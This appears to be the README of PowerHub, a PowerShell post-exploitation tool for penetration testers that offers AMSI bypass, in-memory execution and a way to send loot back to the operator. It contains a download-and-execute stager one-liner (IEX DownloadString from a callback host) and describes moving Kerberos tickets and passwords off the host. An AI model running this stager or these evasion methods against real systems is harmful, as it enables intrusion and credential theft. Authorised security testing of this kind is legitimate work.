PowerHub

PowerHub is a convenient post exploitation tool for PowerShell which aids a pentester in transferring data, in particular code which may get flagged by endpoint protection. Check out the Wiki! Features:

• Fileless
• Stateless
• Cert pinning
• String "obfuscation" by RC4 encryption
• Choose your AMSI Bypass
• Transparent aliases for in-memory execution of C# programs

During an engagement where you have a test client available, one of the first things you want to do is run SharpHound, Seatbelt, PowerUp, Invoke-PrivescCheck or PowerSploit. So you need to download the files, mess with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> $K=New-Object Net.WebClient;'a=reflection','t=http'|%{IEX $K.DownloadString('http://192.168.11.2:8080/0?'+$_)}
True
  _____   _____  _  _  _ _______  ______ _     _ _     _ ______
 |_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]
 |       |_____| |__|__| |______ |    \_ |     | |_____| |_____]
1.11                        written by Adrian Vollmer, 2018-2022
Run 'Help-PowerHub' for help
PS C:\Users\avollmer> Get-HubModule PowerView


Name   : /home/avollmer/.local/share/powerhub/modules/PowerSploit/Recon/PowerView.ps1
Type   : ps1
N      : 205
Loaded : True
Alias  :

PS C:\Users\avollmer> Get-LocalGroup | PushTo-Hub -Name groups.json

Installation

PowerHub can be installed like any other Python package. Just execute python3 -m pip install powerhub. If you like to work with virtual environments, I recommend pipx.

If you want to use the latest version on the dev branch, clone this repository and install with python3 -m pip install -e ..

For building the payloads, you need the MinGW GCC and Mono C# compilers. On Debian-like systems, you can install them with apt-get install mono-mcs gcc-mingw-w64-x86-64 gcc-mingw-w64-i686.

Usage

PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication. The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Read powerhub --help and the Wiki for details.

Credits

PowerHub is partially based on the awesome work of zc00l, @am0nsec, mar10, p3nt4, @SkelSec. And of course, it would be nothing without @harmj0y, @mattifestation and the many other contributors to PowerSploit.

Thanks!

Author

Adrian Vollmer, 2018-2023

Disclaimer

Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.